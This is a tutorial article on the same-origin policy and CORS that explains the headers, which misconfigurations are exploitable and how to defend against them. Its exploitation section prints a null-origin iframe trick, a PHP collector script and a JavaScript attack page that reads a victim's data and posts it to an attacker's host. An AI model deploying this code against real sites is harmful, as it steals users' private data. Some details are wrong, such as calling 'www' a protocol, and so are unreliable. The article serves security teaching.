Cross-Origin Resource Sharing (CORS) allows relaxing the same-origin policy of browsers, enabling communication between different websites and servers.
1. Same-Origin Policy#
The same-origin policy is a very important security policy that restricts how a document from one origin or its loaded scripts can interact with resources from another origin. In simple terms, the same-origin policy allows scripts running on a page, such as JavaScript, to access any methods and properties of other scripts in the same website (same origin) without restrictions. One key point mentioned here is: same origin.
What is a same origin?
- Same protocol (e.g., both are www)
- Same domain (the domain and its subdomains are not the same origin)
- Same port (e.g., both are port 80)
That's a brief introduction to the same-origin policy. If you want to learn more details, you can click here.
2. What is CORS#
In this web 2.0 era, the restrictions of the same-origin policy are too limiting. Therefore, there is a technology that relaxes the restrictions of the same-origin policy, called Cross-Origin Resource Sharing (CORS).
CORS is a mechanism that allows browsers to make XMLHttpRequest requests to cross-origin servers by adding headers to the HTTP request. This overcomes the limitation of AJAX being limited to same-origin usage only.
The working mechanism of CORS is that when it is sent by the browser, it automatically adds the Origin field to the request header. The server verifies whether the Origin field is allowed. If it is allowed, cross-origin access can be performed.
The standard definition of CORS is: allowing clients to access resources across origins by setting HTTP header fields.
CORS defines two types of cross-origin requests:
- Simple requests: Use the specified request method to request resources.
- Non-simple requests: Send an OPTIONS preflight request first to verify if the request origin is allowed by the server. After the preflight is successful, the actual request is sent to request the resource.
Main header fields:
-
Origin: Indicates the origin of the preflight request or actual request.
-
Access-Control-Request-Method: Used for preflight requests to inform the server of the actual request method.
-
Access-Control-Request-Headers: Used for preflight requests to inform the server of the headers carried by the actual request.
-
Access-Control-Allow-Origin: The value of this field can be the value of the Origin field in the request, or it can be "*" (which means accepting any domain).
-
Access-Control-Allow-Credentials: This field is a boolean value. When it is true, it means that cookies can be included in the request and sent to the server.
3. CORS Attacks and Exploitation#
The ultimate goal of exploiting vulnerabilities is: the attacker can obtain sensitive information as long as the victim visits an attack page.
3.1 Exploitation with User Credentials#
| Access-Control-Allow-Origin Value | Access-Control-Allow-Credentials Value | Exploitable |
|---|---|---|
| https://attacker.com | true | Yes |
| null | true | Yes |
| * | true | No |
3.2 Exploitation without User Credentials#
In this case, there is no cookie transmission, so it is difficult for the attacker to obtain cookies.
| Access-Control-Allow-Origin Value | Exploitable |
|---|---|
| https://attacker.com | Yes |
| null | Yes |
| * | Yes |
The null source in the above table is for webpage redirection or from local HTML files.
3.2.1 Exploitation with null Source#
Use a sandboxed iframe to obtain a null source.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
The above iframe generates a request similar to the following:
GET /handler
Host: target.local
Origin: null
When the server receives the null source, it returns a response similar to the following:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3.3 Exploitation using XMLHttpRequest#
- Prepare a logging code on the remote server (used to obtain sensitive information)
<?php
$data = $_POST['hack'];
if($data){
$myfile = fopen("hacker.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
- Build an attack page
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://xxxxxx/hack.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("hack123"+escape(data));
}
}
xhr.open("GET",'http://xxxx/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
- When the victim visits the attack page, sensitive information will be recorded on the server
4. Several Exploitation Tools#
- Brupsuite has built-in CORS detection, but it has a high false positive rate.
- X-ray detection
- CORScanner
5. Defense against CORS#
- Strictly validate the value of the Origin field in the request packet.
- Do not configure the value of the Access-Control-Allow-Origin field as *.
- Avoid using Access-Control-Allow-Credentials: true.
- Avoid using CORS.
- Define a whitelist.
- Use secure protocols.
- Limit caching time.
- Only configure necessary headers.